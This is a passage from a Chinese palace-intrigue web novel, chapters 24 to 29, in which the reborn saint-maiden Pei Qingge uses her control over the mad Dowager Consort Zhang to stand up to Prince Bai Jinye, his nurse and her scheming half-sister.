她换了新的干净整洁的衣服,头发不再乱糟糟的,脸也洗过,虽然双目怒睁,青筋微凸,但也依稀能辨认出她以前的样子。 有多少年没见过这样的张太妃了! 白锦夜的眼眶有些发红,他嘴唇微微动了动,吐出两个字—— “母妃。” 第24章 有时间记得来梧桐院给张太妃请安哦 张太妃目光呆滞地看着前方,对白锦夜的称呼无动于衷。 “鬼啊!”跟着白锦夜出来的裴玲珑晚了几步,并没有听到他对张太妃的称呼,所以一见到张太妃的模样,吓得大叫了一声晕了过去。 江嬷嬷也被吓得够呛,哆哆嗦嗦地扶住裴玲珑,根本不敢往张太妃的方向看。 裴清歌扶着腰从长凳上站起来,走到张太妃的身边,笑眯眯地看了她一眼,才看向白锦夜,“现在,我要给我娘治伤。” 白锦夜这才从张太妃身上收回目光,眯眼看着裴清歌,如果目光可以杀人,这会他早就把她千刀万剐,“裴清歌,本王倒要看看,你能嚣张到什么时候。” “这玲珑阁人多眼杂的,还可能有人不安好心,我打算带我娘去梧桐院,麻烦王爷着人把我娘送过去吧。”裴清歌不理他的威胁,继续道。 “不能能耐得很?”白锦夜双手背在身后,“还需要别人帮忙?” 裴清歌扫了他一眼,也不恼,凑过身在张太妃耳边低声说了几句话,张太妃就迈着步子往房间里面走。 没有人敢拦张太妃,甚至都恨不得躲到院子外面去。 没一会,张太妃就背着裴夫人走了出来。 白锦夜一口闷气憋在胸口,连喉咙都涌出一阵腥甜,“你好大的胆子!” “王爷刚才不是夸我能耐得很?这就是我的能耐。”裴清歌轻笑了一声,转身要走。 “看什么看?还不赶紧把裴夫人接过来送去梧桐院?”不等白锦夜说话,陆绝就赶紧招呼了人过来,裴清歌不怕死,但他们怎么能看着张太妃做这种粗活? 几个婆子互相看了看,才壮着胆子慢慢靠近,见张太妃没有攻击的动作,就赶紧把裴夫人接了过来。 此时裴玲珑也被江嬷嬷掐人中悠悠转醒,想到刚才所见,她一下子就哭了出来,“王爷……” 裴清歌这才想起她,笑眯眯地看了过去,“玲珑妹妹,爱屋及乌,你喜欢王爷,就得接受王爷的家人,这位说不定以后你得叫婆婆,有时间记得来梧桐院给太妃请安哦。” 随着她的话,裴玲珑的脸色越来越白。 裴清歌嗤笑了一声,拉着张太妃走了。 白锦夜站在原地,垂在身侧的手慢慢地握成拳,直到张太妃的身影消失了,才收回目光,像是这会才想起裴玲珑,转身轻轻地握住她的手,“母妃只是生病了,等她的病好,就不会吓到你了。” “王爷。”裴玲珑轻抿着唇,“姐姐说的对,她是你的母妃,无论她怎么样,我都会和你一起孝顺她。只是……只是刚才我没有准备才被吓到了,以后不会了。王爷,对不起,是我胆子太小了,张太妃不会生我的气吧?” 白锦夜摇了摇头,“你这两天一直照顾裴夫人,也没休息好,就先歇着吧。”说完他收回了手,转身离开。 裴玲珑含情脉脉地看着白锦夜出了院子,才迅速的进了房间关上房门。 想着张太妃的样子,她心里就一阵阵后怕,拉住江嬷嬷的手,“嬷嬷,多亏你想了办法,我才不用嫁给王爷,要是王爷以后也变成张太妃那样……” “玲珑姑娘,说句僭越的话,你我虽是主仆,但我早就把你承当成了亲生女儿。” “这张家有诅咒在身,那么一大家子人,几年内死的就剩下张将军和张太妃父女两人,王爷也早早晚晚……哎,我又怎么能看着你年纪轻轻的就给王爷守寡?” 江嬷嬷说着掏出手帕,擦了擦裴玲珑脸上的眼泪,“老奴记得,你与大小姐小时,家里曾来过一个看面相的先生,他说你是凤命,而大小姐是寡妇命,这样不是正好么?” “她早就与人私通不是完璧之身,又毁了容,这盛京根本就不会有人娶她,能给王爷守寡已经是她的福分了。” 裴玲珑点点头,但脸上又浮现一抹担忧,“只是本来想借着母亲在王府治伤留在王府,现在姐姐把母亲接走了,我们也没有理由留下来了。皇后要的东西我们还没找到,私自破坏婚事皇后已经生气了,如果这次再失败……” 她抿了抿唇,剩下的话没有说出来。 江嬷嬷的眼珠转了转,凑到裴玲珑耳边低声说了几句话。 裴玲珑闻言眼睛一亮,“嬷嬷,我就知道,你总有办法!” * 几个婆子把裴夫人送进梧桐院,一刻都不多留,迅速的就跑了。 裴清歌给她施针散了迷药的药力,然后才叫桑榆来给自己的后背上药。 虽然只挨了几板子,但那几个婆子可没手下留情,看的桑榆又是一阵阵心疼。 本来她觉得王爷英明神武,只是这段时间下来,她开始觉得王爷没有她想象中的那么好了。 “人家都说施恩莫忘报,可咱们以后还真就得靠张太妃给咱们谋福利了。”裴清歌叹了口气。 “王妃,娘家不都是用来撑腰的么?正好裴夫人来了,等裴夫人醒了,就让她去找王爷好好说道说道。”桑榆小心翼翼地涂着药膏,生怕稍稍用力就弄疼了裴清歌。 “这都不算什么。”裴清歌摆摆手,“我小的时候……” 她说着顿了顿,她自小就是孤儿,遇到师父之前,不知道吃了多少苦,挨了多少揍。 跟着师父之后,虽然是吃饱穿暖了,可训练的时候,也是经常受伤。 圣女的培养,差不多可以说十不存一。 她能活到继任圣女,早就承受过非人之痛。 “呀,王妃,你后背靠近肩头位置的这是什么?是胎记么?这胎记也太好看了,像是个花骨朵。”裴清歌的话没说完,但桑榆也没注意,反倒是被裴清歌身上的印迹所吸引。 “啊?!”裴清歌一下子从榻上爬起来,伸手摸过去,“是这里么?” “是的。”桑榆点点头。 “你快拿镜子来,我看看!”裴清歌脸色有些难看。 桑榆很快拿了镜子过来,帮裴清歌照着,“你看到了么?还是红色的,真好看。” 裴清歌看着镜子里清晰的花骨朵,倒吸一口凉气,这是—— 血莲! 第25章 过来跪下给我娘敬杯茶吧 裴清歌有些呆愣。 在每一任圣女继任的当天,会由上任圣女施展秘法。 秘法之后,在右肩后方,就会出现一粒荷花种子的图案。 种子需要人血温养,而且只能用同一个人的人血来温养。 血莲吸血之后,就会逐渐盛开。 她原来的身体受过秘法,但种子还没开始养。 重生了以后,她以为这身体不会再有种子了,可那又分明就是血莲! 而且是已经开始温养的血莲! 裴清歌在原主的记忆里仔细搜寻了半响,也完全没有关于背后印迹的记忆,也就是说,这血莲确实是跟着她一起来的。 那是什么时候开始温养的?又是吸了谁的血? “王妃,你不喜欢么?”桑榆见裴清歌的脸色难看,忍不住开口问道,“胎记长成这样真的很好看了,总比黑乎乎的一片好吧?” 裴清歌没办法跟桑榆解释这件事,圣女传承有很多的秘密,但这血莲才是最大的秘密! 这甚至关乎北冥国的国之根本! 正想着,房门突然被人推开。 裴清歌迅速的拽过衣服遮住身体,有些恼怒地看过去,“王爷进别人房间之前不知道敲门么?” 她的动作虽然快,但白锦夜的视力极好,也早就看清了。 肤如凝脂的感觉袭上心头,他背在身后的手蓦地收紧,那夜他虽然意识不清,但那丝滑、柔软、白皙的肌肤,指尖的触感,心头的颤栗,还是深深地刻在了他的脑子里。 “青天白日,有什么见不得人的?”白锦夜冷哼了一声,压下心头的怪异感觉,“床都爬了,还怕本王看么?” 裴清歌没理他,低头系好带子,脑子里迅速地过了一遍这些天在王府接触过的人。 师父说,血莲需要阴阳调和,所以长在女子身上的血莲只能用男子的血来温养。 她在王府接触过又流过血的男子,除了左辞也就是白锦夜了。 左辞是下人,跟她之间恨不得保持三丈以上的距离,大概是不可能了。 她转头狐疑地看了看白锦夜,难道是他? 那又是什么时候? 被裴清歌用这种眼神盯着,白锦夜浑身都不自在,“本王来看母妃。” 裴清歌用下巴点了点房间的角落,张太妃正板板正正地坐在那。 白锦夜的脚步微微顿了顿,才朝着张太妃走过去,半跪在她面前,抬手握住了她的手。 裴清歌盯着白锦夜的后背,左思右想,如果真的是他,那大概就是给他拔除蛊虫的那一次了。 那次她晕了过去,不知道他的血有没有蹭到她身上。 虽然这只是推测,但要证实是不是他也很简单,只要再用他的血往血莲上涂一涂就知道了。 转念,裴清歌又咬了咬牙,如果真的是白锦夜,那也太便宜他了! 血莲成熟之后,最大的受益者,就是用血温养血莲的人。 而在北冥国,有这个资格的,只有北冥国皇上! 白锦夜他凭什么?! 白锦夜只觉得自己的后背仿佛快被裴清歌盯出两个窟窿,一转头就对上她颇有怨念的目光,他的目光扫过榻上的伤药,“裴清歌,只要你在梧桐院里安分守己,本王不会再与你为难。” “你这是想把我软禁在梧桐院了?”裴清歌冷笑一声,“我想去哪就去哪,反正……张太妃现在只听我的话。” 她说着抬手招了招,张太妃迅速的把手从白锦夜的手里抽回来,站起身,走到她的身后站好,“我想让你见张太妃你就能见,我想让你靠近她你才能靠近她,王爷,你得好好考虑一下我们的关系了。” 白锦夜也跟着站了起来,掸了掸衣袍上的褶皱,“本王见过的硬骨头多了,你若非要敬酒不吃吃罚酒,本王也不是没有别的办法。” “这么看来,王爷也不是很想让我救治张太妃了。”裴清歌说着摆了摆手,示意在一边噤若寒蝉的桑榆出去,等她出了门,她才继续道,“或者说,有人跟王爷说也能救张太妃,所以王爷也就不单单指望我了。” 白锦夜没有说话,面色也没有什么变化。 裴清歌看了他一会,知道自己猜对了,“以前就算有人跟你说能救她,其实也只是像现在这样控制住她不再发狂。” “但从她咬了你、碰到你的血肉开始,别说治好她,能控制住她的,也就只有我一个人。” “其实我也不怎么想跟你讲道理,毕竟你好像也听不进去,但你大可以试试。” 白锦夜眸色淡漠,“你说你能治好她,可你需要的那些药材,根本就没人听过,谁知道你是不是编出来一些药,故意拖延时间。” 裴清歌笑了笑,“睢园的那位不是说能治好张太妃么?王爷怎么不拿着我写的药材单子去问问他?” 白锦夜沉吟片刻,不等他再说话,趴在床上的裴夫人轻哼一声,醒了过来。 她看着这陌生的房间,眼里尽是迷茫,半响,目光才落到裴清歌的身上,“清歌……” 裴清歌转过身,自她有记忆以来,那个字就没有叫出口过,这会也是挣扎了半响,才有些扭捏地开了口,“娘,你醒了。” 裴夫人点点头,想动,但后背传来的疼痛让她眼前一黑。 “先别动。”裴清歌过去轻轻按住她的肩头,“这是在王府,你就安心在这里养伤,不会再有人来打扰你。” “王府?”裴夫人有些诧异,这才越过裴清歌的肩头,看到站在不远处的白锦夜,她怔了半响,才试探地开口,“这位是……肃亲王?” 白锦夜前些年都在边疆,回京也没多久。 况且自裴清歌出事之后,她就陪着裴清歌住在裴府后院,甚少出门,大婚那日,她都没出院子。 所以也从未见过白锦夜。 这不过这会,能在裴清歌房间的男子,除了肃亲王,大概也没别人了。 “嗯。”裴清歌点点头,“王爷也担心你的身体,特意来看你呢。”说着她的手背在身后挥了挥,张太妃扭头去房间的角落站着了。 这会裴夫人太虚弱,看着张太妃再吓一跳,更不容易恢复了。 她说完才转头看向看向白锦夜,“王爷,你也没有陪我回门,不如趁这个机会,过来跪下给我娘敬杯茶吧。” 第26章 他在我眼里,本该是蝼蚁啊 闻言,白锦夜瞬间变脸! 这世上能受他一跪的,除了皇上、太后、张太妃还有何人? 裴清歌还真是大逆不道! 裴夫人的脸色更加难看,她下意识地扫了一眼白锦夜,赶紧道,“清歌,不准胡闹,我这受了伤,不能给王爷请安已经是不敬了,怎么能让王爷屈尊?” 她气息不匀,生怕白锦夜怪罪,只能抢在他之前开口。 这一番话说完,她脸色涨红,喘了好几口气才平息。 裴清歌笑着看她,“我知道,我这不是跟王爷开玩笑么?”她说着给裴夫人掖了掖被角,“娘,你先休息会,我还有事跟王爷说。” 裴夫人点点头,又小心翼翼地看了眼白锦夜,见他面色已经恢复,才微微放下心。 裴清歌往外走,张太妃也低着头跟她往外走,白锦夜自然也不会留。 她知道白锦夜来是为了张太妃,本来想留着他们母子在堂上,她就回房间去趴着了。 但思想斗争了半天,还是开了口,“王爷坐下吧,我给你诊珍脉。” 白锦夜眯眼看了她会,才撩起衣摆,正襟坐在主位上,伸出胳膊放在旁边的几案上。 想着他片刻之前还让人打自己板子,裴清歌其实一点都不愿意帮他诊脉。 但血莲若真是已经吸了白锦夜的血,以后就都需要他的血来温养,要是在血莲没成熟之前,他死了,那血莲就会噬主,到时候她也就离死不远了! 裴清歌努力地压下心头的怒意,指尖抚上他的脉搏。 白锦夜打量着她,片刻后才问,“从未听说裴家以医学传家,不知道你这医术是跟谁学的?” “自学。”裴清歌顿了顿又补充,“我这脸这腿都要治,没事就看看医书,一来二去,就会了。” “是么?”白锦夜显然不信,“那不知道是什么书上记载了治好本王母妃的方子?” 裴清歌勾了勾唇,“看过太多的书,忘了,回头我找一找。” “若是找到了,送来给本王看看。”白锦夜继续道。 “好。”裴清歌当即就答应了下来。 反正没有这本书,这辈子都不可能找到! 话音落下,她收回手,叹了口气,白锦夜现在看着还好,可这身体早就金玉其外败絮其中,又虚不受补,想要延年益寿,还挺麻烦。 她抬眼看着门外院子里的花花草草,就算她现在能让他的身体康复如初,到了年底的大劫,他照样躲不过。 要真是寿元到了,就算是完全健康的人,也可能突然急病暴毙。 又或者意外受伤、中毒。 她就见过一个身体健康的人,寿元一到,走路摔倒,脸摔进一个小水坑里,那水坑都没不过他的鼻子,可他还是活活淹死了。 阎王要人三更死,谁敢留人到五更? 逆天改命这事,她也仅仅在古籍上见过一次记载。 那次是北冥国国君尚未有子嗣便气数将尽,圣女只能帮他改命以求延绵血脉。 后来据说是天降雷劫,圣女惨死。 只不过那事情过去太久,古籍上也只是寥寥记了几笔。 总之…… 这事情不是不能做,只是后果很严重。 但如果横竖都是一死,迫不得已的时候,也只能试试了。 白锦夜整理了下袖口,看着裴清歌还在发呆,便抬手用手指关节敲了敲桌子。 裴清歌回过神来,又叹了口气,拿起纸笔,开了张方子,“王爷,你最近外伤多,先用这方子调理。至于被血煞吸的精血,得慢慢补。按照这个方子先吃七天,我再给你调整药方。” 白锦夜接过药方,垂眼看着这一手好看的簪花小楷,没个十几年的苦练,怕是写不出这一手好字。 他虽多年在外,但也早就听过裴清歌的名字。 毕竟,三年之前,盛京第一美女、天风国第一才女这些名头可尽是她的。 那些年,去裴府求亲的人都快要踏平了裴府的门槛,可惜当年的裴清歌眼高于顶,那些王侯公子看不上,竟和有妇之夫…… 想到三年前洪都之事,白锦夜眸色一暗,收起了药方,抬眼看向张太妃。 裴清歌看得出来,他这脸色是嫌她在这碍事了。 她也懒得多呆,她是好心,但难免总被人当成驴肝肺。 不过在张太妃面前的白锦夜,还真是有点温顺,虽然也掩不住眼底对她的厌恶,可多少还能克制住脾气。 裴清歌打算以后所有和白锦夜碰面的时候,都带着张太妃保驾护航。 * 白锦夜在梧桐院一直呆到了中午,这可为难坏了桑榆,也不知道午膳要不要通知厨房备上他的那一份。 裴清歌听了桑榆的担心,直言她想太多,白锦夜来,也不过因为张太妃,他们之间的关系还没到可以同桌吃饭的程度。 白锦夜一走,桑榆又有些嗔怪地看向裴清歌,“王妃,你怎么不留留王爷呢?这么多天,这可是他第一次来梧桐院啊。” “我留他,他就会留下了?”裴清歌笑着看着桑榆。 “万一呢,王爷一定是打了你又心疼,才会来看你。”桑榆说着又低声劝道,“王爷毕竟是王爷,刚才王爷来的时候,已经在示好了,王妃你也得温柔点,王爷才会对你好呀。” “示好?”裴清歌轻笑,“你觉得他让我不出梧桐院就不再为难我是示好?” “奴婢也不知道怎么说了,总之……”桑榆皱着脸,努力地组织了下语言,才说,“总之奴婢从未见过有人敢顶撞王爷,王妃……王妃那样跟王爷说话,王爷都没生气,还不是对王妃好么?” 裴清歌把玩着手里的茶杯,像是自言自语,“是啊,他是你们的王爷,高高在上,你们不敢顶撞他反抗他,哪怕他是错的。可他在我眼里,本应该是蝼蚁啊。” 桑榆吓得“噗通”一声就跪在了地上,王妃怎么敢说王爷是蝼蚁?!“王妃,你可不能说这么大逆不道的话,被听到了,是要被砍头的啊。” “傻丫头。”裴清歌抬手摸了摸桑榆的头,眼里带着几丝怜爱,“有机会,真该带你见见这世界,到底是什么样的。” 第27章 什么送汤?分明是想投怀送抱! 午后,宫里来了嬷嬷传话,说皇后突然想吃绿竹做的一口酥。 桑榆去药房给裴夫人拿药的时候听到这个消息,气喘吁吁的跑回梧桐院,赶紧告知裴清歌。 裴清歌倒也不诧异,一边熬药一边开口道,“正常,她这回宫去给皇后做一口酥,大概就再也不会回来了。” “啊?”桑榆不明所以,“可药房那边的人都说,皇后这是在给绿竹撑腰呢。” “撑腰?”裴清歌无奈地摇了摇头,“绿竹私通外男,按说这罪名一出来,王爷就可以直接把她杖毙,但王爷没有,就是给皇后留着人呢。” “皇后也知道,王爷绝对不可能再碰绿竹,绿竹就失去了价值,没有价值的人,还留着过年么?” 桑榆眨了眨眼,“王爷其实一直对绿竹挺好的,真是不明白为什么她要偷人。”说到这个,她还是一脸忿忿。 王府上下,也都因为这件事极痛恨绿竹。 毕竟以前绿竹仗着王爷的宠爱不少欺负人,结果她还送了这么大一顶“绿帽子”给王爷,这些“爱戴”王爷的王府人那会容忍她? 裴清歌笑了笑,绿竹“偷人”的事,恐怕她自己都不知道。 不过皇后又怎么会想不通呢? “没有绿竹,也会有红竹黄竹的。”裴清歌用扇子慢慢地扇着火。 前日她见到绿竹的时候,就见到她眉心一股黑气。 白锦夜不杀她,是知道皇后一定会杀了她,他没必要因为这事脏了自己的手。 可怜绿竹,身为棋子不自知,到死恐怕都不知道自己为什么被舍弃。 * 这事甚至惊动不到白锦夜,左辞吩咐婆子给绿竹洗漱干净,给她涂了止疼的药,换上一身新衣服,送她回宫。 绿竹在地牢里呆了几天,本已经一脸的萎靡,听说皇后叫她回宫做一口酥,知道皇后没有忘了她,整个人又精神了起来。 左辞亲自把她送到王府门口。 马车的车夫却迟迟没来。 绿竹抬手挡着炎热的阳光,脸上带了几丝怒意,“左总管,马车怎么还不来?皇后还等着我去做一口酥,耽误了,你可担待不起。” 左辞站在一侧,敛了敛眼底的怜悯,只是说,“这车夫是懒散了,回头我会教训他。” 左辞是王府的总管,差不多是白锦夜身边最亲近的人了,王府里的人几乎都仰他鼻息,如今他对自己话言听计从,绿竹的眼角染上一抹笑意,看,只要有皇后撑腰,她在王府里的地位就没人能动摇。 站了半响,左辞看了看来往的人,这些人大概也都见到绿竹走出王府的时候,还是活着的,进了宫,是死是活,那就跟王爷没关系了。 时间也差不多了,他才对着身后做了个手势,没一会车夫就赶着马车来了。 “绿竹姑娘,路上小心。”左辞亲自上前撩开马车的门帘。 绿竹这次看也没看左辞一眼,撩起裙摆上了车,还不忘看向车夫,“磨磨蹭蹭的慢死了,皇后可还等着我呢,路上快点走。” “是。”车夫应了一声,立即赶着车走了。 左辞后退了一步,这么迫不及待的去送死,他也是第一次见呢。 他拍了拍手,又扫了扫衣襟,像是身上沾了什么不干净的东西,随后才往书房走。 刚到书房门外,就见裴玲珑端着汤盅走进了院子。 他的脚步顿了顿,眉间染了一抹不悦,“玲珑姑娘。” 他们这种在战场上厮杀过的人,自然不喜欢裴玲珑这样柔柔弱弱的女子。 可之前他们王爷喜欢,他们也不敢置喙。 不管别人怎么看待裴清歌,自雅园的事情之后,左辞就认为那样的女子才配得上他们王爷。 现在他们已经有了王妃,裴玲珑就算以照顾裴夫人的借口留在王府,也该跟王爷保持距离。 来书房送汤算什么? “我煲了滋补的汤,给王爷送来。”裴玲珑停下脚步,“左总管,前日你也受了伤,也要多注意休息。” “王爷处理公务时不喜欢被人打扰,玲珑姑娘先请回吧。”左辞不理她套近乎的话,也微微侧身挡在了她前面。 “可……这汤要趁热喝。”裴玲珑抿了抿唇,眼波流转,带着几丝委屈,“左总管,我只把汤送进去就马上离开,不会打扰王爷的。” 左辞的眸色冷了冷,顿了会才说,“那玲珑姑娘把汤给我吧,我送进去给王爷。” 裴玲珑端着托盘的手微微用力,没有把托盘递过去。 “不是说要趁热喝么?”左辞心中了然,什么送汤?分明是想对王爷投怀送抱! 裴玲珑咬了咬唇,还不等说话,书房的门就被人打开,她赶紧看过去,“王爷。” 白锦夜从书房里走出来。 裴玲珑迅速的扫了一眼白锦夜的方向,只从门缝里看到了一排书架,她绕过左辞往前走了走,可刚走了两步,就见白锦夜关上了书房的门。 她脚步微微顿了下,最后还是若无其事的走过去,“王爷,这汤我煲了两个时辰,补血养气。” 白锦夜接过托盘,转手交给左辞。 看着他的动作,裴玲珑的眼里闪过一抹失落,但很快,她的手又被白锦夜握住。 白锦夜低头看着她被包扎的手指,“这种事情交给下人去做就好了。” “没什么,就是……不小心烫到了。”裴玲珑低下头,脸上闪过一抹红晕。 左辞站在一旁忍不住翻了个白眼,一点点烫伤包扎得那么夸张,不就是包扎给王爷看的? “去找陆绝拿些烫伤药。”白锦夜转头看向左辞吩咐。 左辞不能拒绝,但心里又不忿,忍不住开口道,“那属下正好拿些伤药,王妃早上被杖打的伤口也需要敷药。” 白锦夜脸上一冷,看着左辞的目光带着几丝警告。 裴玲珑赶紧道,“王爷,我已经涂了药,这点小伤没什么的,倒是姐姐,我早上见她走的时候龇牙咧嘴,一定伤得不轻。她受了伤,我担心她也没精力照顾母亲,王爷,我能搬去梧桐院,跟姐姐一起照顾母亲么?” 第28章 他不怕我欺负他的心尖儿? 白锦夜微皱了下眉,“梧桐院偏僻,住着多有不便,左辞,你去通知裴清歌,让她带着裴夫人一起搬到玲珑阁。” “王爷。”裴玲珑闻言赶紧制止,“王爷,今早姐姐已经不快,要是再让她搬去玲珑阁,她怕是……”她说着停了下来,后半句虽然没说出来,但意味已经很明显了。 顿了顿,她才继续说,“没事的,王爷,小时我在裴府住的院子,怕是还不如梧桐院呢。” 她这话说得轻松,但在白锦夜听来却别有意味。 前些年裴清歌风头极盛,身为裴府嫡长女,又自视甚高,大概不屑与庶女往来。 再结合之前裴玲珑对裴清歌时时都表现出的忍让和畏惧,她那会肯定也没少欺负裴玲珑。 “好,那本王让张嬷嬷与你一同搬过去。”白锦夜说着对着左辞挥了挥手,示意他去传话。 左辞只得应了,俯身退下,走到院外,才想起自己手上还端着裴玲珑送来的汤,他随手招了个小厮,把汤赏了,就去通知张嬷嬷。 裴玲珑一脸的惊喜,这张嬷嬷可是白锦夜的奶妈! 白锦夜七岁那年,张太妃就彻底疯了,从那以后,就全是张嬷嬷在照顾他。 等白锦夜出宫开府,也把张嬷嬷接到了王府。 他对张嬷嬷极为尊敬,听说这张嬷嬷在王府已经相当于半个太妃! 有张嬷嬷跟着自己,她在王府里,可就能横着走了! “多谢王爷,那我就不打扰王爷了。”裴玲珑说着福了福身,含情脉脉地看了看白锦夜,才转身离开。 * 裴清歌喂裴夫人吃了药,看着她睡了,突然听到院子里吵吵嚷嚷的。 走出去就见到一个穿着锈色褙子的嬷嬷腰背挺得板直,不疾不徐地进了院子,一进门,就指挥着下人搬东西挪东西。 她皱了皱眉,桑榆赶紧在她耳边提醒,“王妃,这是张嬷嬷。” 裴清歌努力地想了一会,也想到了张嬷嬷的身份,“她来梧桐院干什么?” 桑榆的小脸都皱到一起,想了半天,才试探地道,“是不是王爷见梧桐院太冷清了,所以让张嬷嬷过来张罗下?” 裴清歌哂笑,“他有那么好心,太阳都得从西边出来。” 两个人正低声说着,左辞也脚步匆匆地走了进来,“王妃,玲珑姑娘说是为了照顾裴夫人,想搬来和你一起住。” 裴清歌瞥了一眼桑榆,看,她说的果然没错吧?白锦夜怎么会为了她大费周章呢?“我娘用不着她照顾,让这些婆子丫鬟也都赶紧走吧。” 左辞的脸色为难,“王妃,王爷已经答应下来了。” 裴清歌挑了挑眉,“怎么,他不怕我欺负他的心尖儿?” 左辞瞥了一眼张嬷嬷,心想有张嬷嬷在,你想欺负裴玲珑也难了,但这话他也不能说,只是暗示她,“王妃,王爷喜欢喝排骨莲藕汤。” “他喜欢喝什么汤,跟我什么关系?”裴清歌心里不快,他把裴玲珑塞到她眼皮子底下给她添堵,还妄想让她煲汤给他? 左辞挠了挠头,又说,“王妃若是闲着无事,可以煲汤。” “我可不闲着,忙得很。”裴清歌抱着肩膀,大概也想到了什么,“反正不是有人给他煲汤么?告诉你们王爷,不喝白不喝,可别浪费人家的一番心意。” 左辞不知道该再说什么,只想说可是王妃你浪费了我的一番心意啊。 正想着再劝劝,张嬷嬷已经在院子里“视察”了一圈走过来,“劳烦裴大小姐收拾下细软,把正房空出来让给玲珑姑娘。” 她这话说得理直气壮,丝毫没觉得有什么不对。 而且说这话的时候,眼神都没往裴清歌的身上扫,只看着旁边的空气,像是看裴清歌一眼,会脏了她的眼睛一样。 裴清歌倒也不恼,只是伸手在张嬷嬷的眼前晃了晃,又转头问左辞,“张嬷嬷的眼睛是有什么问题么?我站在这边,她好像看不见?” 她说的一脸诚恳,“年纪大的人,视力多少都会出现问题,你跟陆绝说一声,让他给张嬷嬷开张明目的药方。” 桑榆站在一边,努力地忍着笑,脸都憋红了。 左辞也是一脸古怪的表情,张嬷嬷早些年跟着太后,后来做了王爷的奶妈,又一直跟着张太妃,任谁都得给她几分面子。 如今她在王府深居简出,但这王府里的事,也没什么能逃过她的眼睛。 大婚那日之后,张嬷嬷就气得不行,要不是王爷去劝阻了一番,让她安心养老,她可就亲自来给裴清歌立规矩了。 “果然是伶牙俐齿。”张嬷嬷这才瞥了一眼裴清歌,抬手掸了掸袖子,继续道,“梧桐院偏僻,就正房一间向阳,玲珑姑娘身体不好,不能住潮湿阴冷的房子,裴大小姐,要么你自己搬,要么老奴着人给你搬。” 显然她也没把裴清歌的话放在眼里,她若是在这跟裴清歌吵起来,那太掉价。 “张嬷嬷,裴大小姐好歹是王妃,再说裴夫人也受了伤,不好去住偏房吧?”左辞犹豫了会,还是开口道。 “王妃?”张嬷嬷嗤笑一声,“老奴可不知这府里什么时候有王妃了,想要做王妃,那也得能和王爷比肩,不是什么阿猫阿狗、丑八怪、身体残缺的人都能肖想的。” “张……” 左辞还想说什么,却被裴清歌抬手制止。 她见张嬷嬷一副淡然的模样,勾了勾唇,“我早上被王爷打了板子,没什么力气搬细软。我这种阿猫阿狗丑八怪,也不敢劳烦张嬷嬷的人。” 裴清歌说着脸上像是有些为难,顿了顿才说,“好在我这倒是有个力气大的。” 她的话音落下,张太妃就抱着被子从屋子里走出来—— “张嬷嬷,你看让张太妃帮我搬东西怎么样?” 第29章 我是主子你是奴才 张嬷嬷毫无表情的脸终于出现一丝裂痕,她的身体僵了下,迅速的朝张太妃走过去,到了跟前,双腿一屈就跪在了地上,“太妃,老奴给太妃请安。老奴日日念着您,为您祈福,没想到有生之年竟还能见到您,太妃,你可还记得老奴?” 张太妃抱着被子站在那,目光直愣愣地看着前方。 张嬷嬷抬手叫来几个人,“还愣着干什么?赶紧把太妃手里的东西接过来!” 几个跟着张嬷嬷过来的人上前想把东西接过来,但没有裴清歌的命令,张太妃又怎么可能撒手? 她们又不敢跟张太妃硬抢,拽了几下没拽动,只能向张嬷嬷求助。 “太妃,您别抱着这些了,当心您的身子骨。”张嬷嬷看着张太妃,顿了顿又说,“这些下人不懂事,那老奴来拿着。” 她说着伸手去接,但张太妃依旧不放手。 张嬷嬷伺候张太妃多年,主仆情深,倒是不怕她这副模样,仔细看了半响,才意识到张太妃好像没有神智,她转头怒视裴清歌,“你对太妃做了什么?” 那日雅园的事情,白锦夜下了封口令,张嬷嬷也是不知道的。 可她上一次见到张太妃的时候,她虽然疯癫,但多少都还是有些反应的,并不像现在这样,仿佛是个木头人。 “我能对张太妃做什么?”裴清歌抱着肩膀笑着看着张嬷嬷,“我若是对她做了什么不好的事,第一个来质问我的,应该是王爷,恐怕也轮不到你。” 说完她看向张太妃,“太妃,你看你管不了事,以致于这王府里乌烟瘴气,没有大小,没有尊卑,没办法,只能委屈你陪我去住阴冷潮湿的偏房了。” “使不得!”张嬷嬷大叫了一声。 裴清歌也不说话,只是笑眯眯地看着张嬷嬷。 半响,张嬷嬷的脸都憋成了猪肝色,第一次在除了王爷和张太妃以外的人面前低下了头,“裴大小姐便陪张太妃在正房住着吧。” 裴清歌这才慢慢地收起笑容,看着张嬷嬷,“我不管你在这王府里是什么地位,别人对你态度如何,在这梧桐院里,我是主子你是奴才,在这王府里,我是王妃,裴玲珑只是裴府过来做客的庶出小姐,你好自为之!” “张太妃和我娘都在养伤,需要清静,受不了太闹腾,谁要搬过来都好,吵到了她们,我唯你是问!” 说完,裴清歌迈步进了房间。 张太妃也立刻抱着被子跟她进去了。 左辞看着裴清歌的身影消失,眼里竟带了几丝狂热,这样的人,才该是他们的王妃啊! 怎么王爷就偏偏被裴玲珑迷了眼呢? 他收回目光,看向脸色涨红的张嬷嬷,犹豫了片刻,还是走过去,低声提醒,“张嬷嬷,那日太妃发狂,王爷甚至抱了必死的心,下令放火烧雅园。要不是王妃在,王爷当日怕是就和太妃一起被烧死了。” 张嬷嬷眸光微震,张太妃第一次发狂的时候,她就在旁边,那血腥的画面,她至今都还会梦到,每次从这噩梦中惊醒,都是一身的冷汗。 那天张太妃宫里的宫女太监都被尽数屠戮,只剩下她抱着早已经吓傻了的白锦夜。 那时的张太妃大概还残存着一丝意识,才会放过白锦夜,放过她。 之后张太妃的寝宫就封宫了,这些年她再也没有见过张太妃。 只是偶尔听人提起,张太妃吃生肉喝鲜血,已经和野兽无异了。 左辞点到即止,没再多说,转身离开了梧桐院。 张嬷嬷在原地站了良久,才指挥着其他人手脚轻慢地把裴玲珑的东西送进了偏房。 东西都收拾妥当,裴玲珑和江嬷嬷才姗姗来迟。 站在房间门口,她看着潮湿甚至有些发霉的屋子,脸色难看。 江嬷嬷看了眼张嬷嬷,忍不住低声道,“玲珑姑娘身子骨弱,恐怕会受不了这潮湿,会生病啊。” 张嬷嬷垂眼看着地面,“梧桐院里只有一间向阳的正房,张太妃和裴大小姐住着。玲珑姑娘放心,老奴陪你在这住,也会让人多煮些驱寒去潮的汤水。” 裴玲珑赶紧瞪了一眼江嬷嬷,语气嗔怪,“江嬷嬷,我是来照顾母亲的,只要能照顾她,住在哪都无所谓。”说完她才笑着看向张嬷嬷,“张嬷嬷,你别多心,江嬷嬷是我奶妈,从小就心疼我,我没事的,我只希望母亲赶紧好起来。” 听着她体贴的话,张嬷嬷的脸色也终于好看了些,“玲珑姑娘有事便吩咐老奴。”说完微微点头示意了下,就离开了。 